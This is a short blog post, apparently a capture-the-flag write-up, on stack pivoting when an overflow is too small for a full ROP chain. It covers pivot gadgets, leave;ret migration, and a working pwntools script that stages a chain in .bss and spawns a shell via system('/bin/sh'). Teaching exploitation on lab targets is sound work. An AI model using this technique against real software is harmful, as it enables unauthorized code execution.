algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

stack pivoting — when the overflow is too small

2026-05-303 min readpwn rop

A frustrating shape of bug: you overflow into the saved return address, but the buffer ends a few bytes later — room for maybe two gadgets, nowhere near a full ROP chain. The fix is to stop running off this stack. Pivot rsp to a region you do control completely — a big input buffer, the .bss — and execute the real chain from there.

target./cramped
arch
amd64-64-little
overflow
reaches saved RIP + ~16 bytes — not enough for a real chain
  • NXon
  • PIEoff

the pivot gadgets#

Pivoting means loading rsp from something you control. The common gadgets, in rough order of how often they show up:

  • leave; retleave is mov rsp, rbp ; pop rbp. If you control the saved rbp, this is a pivot: the epilogue sets rsp to your value. The workhorse.
  • pop rsp; ret — direct, rare, lovely when it exists.
  • xchg rax, rsp; ret — pivot through rax (pair with a gadget that loads rax).
  • add rsp, 0xNN; ret — not a full pivot, but walks rsp forward over junk into a chain you placed just ahead.

stack migration with leave;ret#

The classic move uses leave; ret twice. Read your full chain into a known location (here, .bss), set the saved rbp to fake_stack - 8, and return into a leave; ret. The function's own epilogue does the rest:

what the second leave;ret doestxt
1
2
3
4
5
saved rbp  = fake_stack - 8           ; you wrote this in the overflow
ret -> leave; ret
        mov rsp, rbp                   ; rsp = fake_stack - 8
        pop rbp                        ; rsp = fake_stack
        ret                            ; now executing YOUR chain at fake_stack

pwntools wraps the whole pattern — stage the long chain somewhere writable, then migrate:

pivot.pypython
from pwn import *
elf = context.binary = ELF("./cramped")
rop = ROP(elf)

bss   = elf.bss(0x400)
rop.read(0, bss, 0x200)        # 1) read the real chain into .bss
rop.migrate(bss)               # 2) leave;ret pivot: rsp -> bss
# the big chain that lives at bss: dup, dlresolve, system, whatever you need
chain = ROP(elf); chain.call(elf.sym["system"], [next(elf.search(b"/bin/sh"))])

io = process(elf.path)
io.sendline(fit({off_to_rbp: bss-8, off_to_rip: rop.chain()}))
io.send(chain.chain())         # delivered into .bss by the read() above
io.interactive()
from 16 bytes of room to a full chain

The cramped overflow only had to fit read + migrate; the real work runs off .bss:

txt
segfault{rsp_goes_where_i_say}

the gotchas that bite#

  • You need a writable address for the fake stack. No-PIE gives you .bss free; with PIE, leak first. A leaked stack address works too — pivot onto your own input.
  • leave; ret clobbers rbp. After the pivot rbp is whatever you popped; if later gadgets need a sane frame, set it deliberately.
  • 16-byte alignment. system/movaps will fault on a misaligned rsp; drop a bare ret into the chain to realign, exactly as you would in any libc call.
  • Don't overlap. If your fake stack sits where the current chain is still executing, the read can stomp the gadget you're about to return into. Keep the staging buffer clear of the live chain.

Stack pivoting is the move that decouples "where the bug writes" from "where the chain runs." Once rsp points at memory you own, the size of the original overflow stops mattering — you have as much ROP as you can write.